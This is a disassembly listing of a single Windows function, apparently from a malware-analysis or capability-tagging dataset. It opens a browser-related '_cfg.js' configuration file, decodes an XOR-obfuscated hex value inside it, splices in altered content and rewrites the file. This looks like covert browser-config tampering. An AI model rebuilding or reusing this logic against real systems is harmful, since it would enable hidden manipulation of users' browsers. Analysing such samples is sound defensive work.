Function at 0x100090d8
Capabilities:
Encode data using xor
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
lea eax, [ebp - 0x230]
push eax
call fcn.1001c522
test al, al
je 0x10009403
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push edi
push str.chromecontent_
lea eax, [ebp - 0x230]
push eax
call esi
push str._cfg.js
lea eax, [ebp - 0x230]
push eax
call esi
xor edi, edi
push edi
push edi
push 3
push edi
push 1
push 0xc0000000
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
mov dword [ebp - 0xc], eax
je 0x10009401
push ebx
push edi
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
lea esi, [ebx + 0x824]
push esi
call fcn.1001761b
pop ecx
mov ecx, eax
cmp ecx, edi
mov dword [ebp - 0x14], ecx
je 0x100093f7
cmp esi, edi
je 0x10009170
mov byte [eax], 0
inc eax
dec esi
jne 0x10009169
push edi
lea eax, [ebp - 0x24]
push eax
push ebx
push ecx
push dword [ebp - 0xc]
mov dword [ebp - 0x24], edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x100093ee
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea esi, [eax + 1]
push esi
mov dword [ebp - 0x10], eax
call fcn.1001761b
cmp eax, edi
pop ecx
mov dword [ebp - 0x20], eax
je 0x100093ee
push edi
push edi
push esi
push eax
push 0xffffffffffffffff
push dword [ebp + 8]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov ebx, dword [sym.imp.SHLWAPI.dll_StrStrIA]
mov esi, str.__d_
push esi
push dword [ebp - 0x14]
call ebx
cmp eax, edi
mov dword [ebp + 8], eax
je 0x100093e5
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
call esi
add dword [ebp + 8], eax
push 0x1002e810
push dword [ebp + 8]
call ebx
cmp eax, edi
mov dword [ebp - 0x18], eax
je 0x100093e5
mov ecx, dword [ebp - 0x10]
add ecx, ecx
sub ecx, dword [ebp + 8]
lea eax, [ecx + eax + 1]
push eax
mov dword [ebp - 8], eax
call fcn.1001761b
mov ebx, eax
cmp ebx, edi
pop ecx
mov dword [ebp - 0x10], ebx
je 0x100093e5
mov ecx, dword [ebp - 8]
cmp ecx, edi
je 0x1000922b
mov byte [eax], 0
inc eax
dec ecx
jne 0x10009224
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp + 8]
inc eax
push eax
push dword [ebp + 8]
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
push ebx
call esi
cdq
sub eax, edx
mov edi, eax
sar edi, 1
mov dword [ebp - 4], 0
je 0x10009291
mov eax, dword [ebp - 4]
add eax, eax
mov cl, byte [eax + ebx]
mov dl, byte [eax + ebx + 1]
cmp cl, 0x41
setl al
dec al
and al, 7
add al, 0x30
sub cl, al
shl cl, 4
cmp dl, 0x41
setl al
dec al
and al, 7
add al, 0x30
sub dl, al
mov eax, dword [ebp - 4]
and dl, 0xf
or cl, dl
xor cl, 0x18
inc dword [ebp - 4]
cmp dword [ebp - 4], edi
mov byte [eax + ebx], cl
jb 0x10009250
push dword [ebp - 0x20]
mov byte [edi + ebx], 0
push ebx
call fcn.100250fa
mov edi, dword [sym.imp.SHLWAPI.dll_StrStrIA]
mov bl, al
neg bl
push 0x1002db80
push dword [ebp - 0x10]
sbb bl, bl
inc bl
call edi
test bl, bl
je 0x100093dc
test eax, eax
je 0x100093dc
push 0x100305a8
add eax, 3
push eax
call edi
push dword [ebp - 8]
mov dword [ebp - 0x1c], eax
call fcn.1001761b
mov ebx, eax
test ebx, ebx
pop ecx
mov dword [ebp - 4], ebx
je 0x100093dc
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x1002e9a4
push ebx
call edi
push dword [ebp - 0x20]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
call ebx
push dword [ebp - 0x1c]
push dword [ebp - 4]
call ebx
push dword [ebp - 4]
call esi
push dword [ebp - 0x18]
call esi
inc eax
push eax
call fcn.1001761b
test eax, eax
pop ecx
mov dword [ebp - 8], eax
je 0x100093d3
push dword [ebp - 0x18]
push eax
call edi
push dword [ebp - 4]
call esi
xor edi, edi
xor edx, edx
cmp eax, edi
mov dword [ebp - 0x1c], eax
jbe 0x1000938e
mov eax, dword [ebp - 4]
mov cl, byte [edx + eax]
xor cl, 0x10
sar cl, 4
and cl, 0xf
cmp cl, 9
movsx ecx, cl
jle 0x1000935b
add ecx, 0x37
jmp 0x1000935e
add ecx, 0x30
mov eax, dword [ebp + 8]
mov byte [eax + edx*2], cl
mov ecx, dword [ebp - 4]
mov cl, byte [edx + ecx]
xor cl, 0xf8
and cl, 0xf
cmp cl, 9
movsx ecx, cl
jle 0x1000937d
add ecx, 0x37
jmp 0x10009380
add ecx, 0x30
mov byte [eax + edx*2 + 1], cl
mov eax, dword [ebp - 0x1c]
inc edx
cmp edx, eax
jb 0x1000933f
xor edi, edi
mov ecx, dword [ebp + 8]
push dword [ebp - 8]
mov byte [ecx + eax*2], 0
push ecx
call ebx
push edi
push edi
push edi
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push edi
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 0x14]
mov dword [ebp - 0x28], edi
call esi
push eax
push dword [ebp - 0x14]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 8]
call fcn.1000e77a
pop ecx
push dword [ebp - 4]
call fcn.1000e77a
pop ecx
push dword [ebp - 0x10]
call fcn.1000e77a
pop ecx
push dword [ebp - 0x20]
call fcn.1000e77a
pop ecx
push dword [ebp - 0x14]
call fcn.1000e77a
pop ecx
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebx
pop edi
pop esi
leave
ret 4